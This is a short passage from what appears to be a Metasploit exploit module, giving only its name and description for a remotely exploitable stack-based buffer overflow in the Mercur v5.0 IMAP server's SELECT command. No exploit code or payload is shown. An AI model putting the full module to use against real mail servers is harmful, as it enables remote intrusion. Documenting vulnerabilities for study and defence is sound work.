'Name' => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',

'Description'=> %q{

Mercur v5.0 IMAP server is prone to a remotely exploitable

stack-based buffer overflow vulnerability. This issue is due

to a failure of the application to properly bounds check

user-supplied data prior to copying it to a fixed size memory buffer.

Credit to Tim Taylor for discover the vulnerability.
